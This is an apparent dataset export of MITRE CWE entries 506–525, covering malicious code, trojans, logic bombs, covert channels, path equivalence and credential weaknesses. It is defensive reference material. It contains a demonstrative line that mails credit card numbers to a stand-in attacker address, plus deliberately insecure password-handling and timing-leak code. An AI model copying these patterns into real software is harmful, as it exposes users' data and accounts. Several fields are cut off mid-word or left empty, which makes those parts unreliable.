deardaniel/secdata-raw huggingface dataset:
CWE-506: Embedded Malicious Code

Description:
The product contains code that appears to be malicious in nature.

Extended Description:
Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-912

Consequences:
  - Confidentiality: Execute Unauthorized Code or Commands

Detection methods:
  - Manual Static Analysis - Binary or Bytecode: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Dynamic Analysis with Manual Results Interpretation: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Manual Static Analysis - Source Code: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Automated Static Analysis: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             

Mitigations:
  - [Implementation] Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been inte

Demonstrative examples:
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

boolean authorizeCard(String ccn) { 
                         
                            
                            // Authorize credit card. 
                            
                            
                            ... 
                            
                            mailCardNumber(ccn, "evil_developer@evil_domain.com"); 
                      }

Real-world examples:
  - CVE-2022-30877: A command history tool was shipped with a code-execution backdoor inserted by a malicious party.
CWE-507: Trojan Horse

Description:
The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-506

Consequences:
  - Confidentiality: Execute Unauthorized Code or Commands

Mitigations:
  - [Operation] Most antivirus software scans for Trojan Horses.
  - [Installation] Verify the integrity of the product that is being installed.
CWE-508: Non-Replicating Malicious Code

Description:
Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-507

Consequences:
  - Confidentiality: Execute Unauthorized Code or Commands

Mitigations:
  - [Operation] Antivirus software can help mitigate known malicious code.
  - [Installation] Verify the integrity of the software that is being installed.
CWE-509: Replicating Malicious Code (Virus or Worm)

Description:
Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-507

Consequences:
  - Confidentiality: Execute Unauthorized Code or Commands

Mitigations:
  - [Operation] Antivirus software scans for viruses or worms.
  - [Installation] Always verify the integrity of the software that is being installed.
CWE-51: Path Equivalence: '/multiple//internal/slash'

Description:
The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-41

Consequences:
  - Confidentiality: Read Files or Directories

Mitigations:
  - [Implementation] Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous i

Real-world examples:
  - CVE-2002-1483: Read files with full pathname using multiple internal slash.
CWE-510: Trapdoor

Description:
A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-506

Consequences:
  - Confidentiality: Execute Unauthorized Code or Commands

Detection methods:
  - Automated Static Analysis - Binary or Bytecode: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Manual Static Analysis - Binary or Bytecode: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Dynamic Analysis with Manual Results Interpretation: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Manual Static Analysis - Source Code: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Highly cost effective: 
                         
                           

Mitigations:
  - [Installation] Always verify the integrity of the software that is being installed.
  - [Testing] Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.
CWE-511: Logic/Time Bomb

Description:
The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description:
When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Affected languages: Not Language-Specific
Affected technologies: Mobile
Parent weaknesses: CWE-506

Consequences:
  - Other: Varies by Context

Detection methods:
  - Automated Static Analysis: Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Mitigations:
  - [Installation] Always verify the integrity of the product that is being installed.

Demonstrative examples:
Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.
CWE-512: Spyware

Description:
The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.

Extended Description:
"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-506

Consequences:
  - Confidentiality: Read Application Data

Mitigations:
  - [Operation] Use spyware detection and removal software.
  - [Installation] Always verify the integrity of the product that is being installed.
CWE-514: Covert Channel

Description:
A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description:
Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-1229

Consequences:
  - Confidentiality: Read Application Data

Detection methods:
  - Architecture or Design Review: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             

Demonstrative examples:
In this example, the attacker observes how long an authentication takes when the user types in the correct password.
When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.
def validate_password(actual_pw, typed_pw):
		  
                    if len(actual_pw) <> len(typed_pw):
		    return 0 
                    for i in len(actual_pw):
CWE-515: Covert Storage Channel

Description:
A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description:
Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-514

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Read Application Data

Mitigations:
  - [Implementation] Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative examples:
An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.
CWE-52: Path Equivalence: '/multiple/trailing/slash//'

Description:
The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific, Web Based
Parent weaknesses: CWE-41, CWE-163

Consequences:
  - Confidentiality: Read Files or Directories

Mitigations:
  - [Implementation] Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous i

Real-world examples:
  - CVE-2002-1078: Directory listings in web server using multiple trailing slash
CWE-520: .NET Misconfiguration: Use of Impersonation

Description:
Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description:
.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Affected languages: Not Language-Specific, ASP.NET, VB.NET
Affected technologies: Not Technology-Specific, Web Based
Parent weaknesses: CWE-266

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Mitigations:
  - [Operation] Run the application with limited privilege to the underlying operating and file system.
CWE-521: Weak Password Requirements

Description:
The product does not require that users should have strong passwords.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific
Parent weaknesses: CWE-1391, CWE-287

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: 
                  
                    Enforcement of a minimum and maximum length 
       
  - [Architecture and Design] Consider a second
                 authentication factor beyond the password, which prevents the
                 password from being a single point of failure. See CWE-308 for
                 further information.
  - [Implementation] Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.
  - [Implementation] Previously, "password expiration" was
			   widely advocated as a defense-in-depth approach to
			   minimize the risk of weak passwords, and it has become
			   a common practice.  Password expiration requires a
			   password to be changed within a fixed time window (such
			   as every 90 days). 

Real-world examples:
  - CVE-2020-4574: key server application does not require strong passwords
CWE-522: Insufficiently Protected Credentials

Description:
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific, Web Based, ICS/OT
Parent weaknesses: CWE-1390, CWE-287, CWE-668

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] Use an appropriate security mechanism to protect the credentials.
  - [Architecture and Design] Make appropriate use of cryptography to protect the credentials.
  - [Implementation] Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative examples:
This code changes a user's password.
While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.
$user = $_GET['user']; $pass = $_GET['pass']; $checkpass = $_GET['checkpass']; if ($pass == $checkpass) { SetUserPassword($user, $pass); }

The following code reads a password from a properties file and uses the password to connect to a database.
This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.
... Properties prop = new Properties(); prop.load(new FileInputStream("config.properties")); String password = prop.getProperty("password"); DriverManager.getConnection(url, usr, password); ...

Real-world examples:
  - CVE-2022-30018: A messaging platform serializes all elements of User/Group objects, making private information available to adversaries
  - CVE-2022-29959: Initialization file contains  credentials that can be decoded using a "simple string transformation"
  - CVE-2022-35411: Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data.
  - CVE-2022-29519: Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
  - CVE-2022-30312: Building Controller uses a protocol that transmits authentication credentials in plaintext.
CWE-523: Unprotected Transport of Credentials

Description:
Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-522

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Operation] Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verif
CWE-524: Use of Cache Containing Sensitive Information

Description:
The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description:
Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations.  A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources.  If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-668

Consequences:
  - Confidentiality: Read Application Data

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] Protect information stored in cache.
  - [Architecture and Design] Do not store unnecessarily sensitive information in the cache.
  - [Architecture and Design] Consider using encryption in the cache.

Real-world examples:
  - CVE-2024-30127: Product does not set the "no-cache" option in the HTTP Cache-Control header, allowing sensitive information to be cached
CWE-525: Use of Web Browser Cache Containing Sensitive Information

Description:
The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Affected languages: Not Language-Specific
Affected technologies: Web Based, Web Server
Parent weaknesses: CWE-524

Consequences:
  - Confidentiality: Read Application Data

Mitigations:
  - [Architecture and Design] Protect information stored in cache.
  - [Implementation] Use a restrictive caching policy for forms and web pages that potentially contain sensitive information, such as "no-cache" in the Cache-Control header.
  - [Architecture and Design] Do not store unnecessarily sensitive information in the cache.
  - [Architecture and Design] Consider using encryption in the cache.

Real-world examples:
  - CVE-2024-30127: Product does not set the "no-cache" option in the HTTP Cache-Control, allowing sensitive information to be cached
  - CVE-2024-45314: Login form for an application development framework does not set "no-cache" and other options in the HTTP Cache-Control header, allowing sensitive information to be cached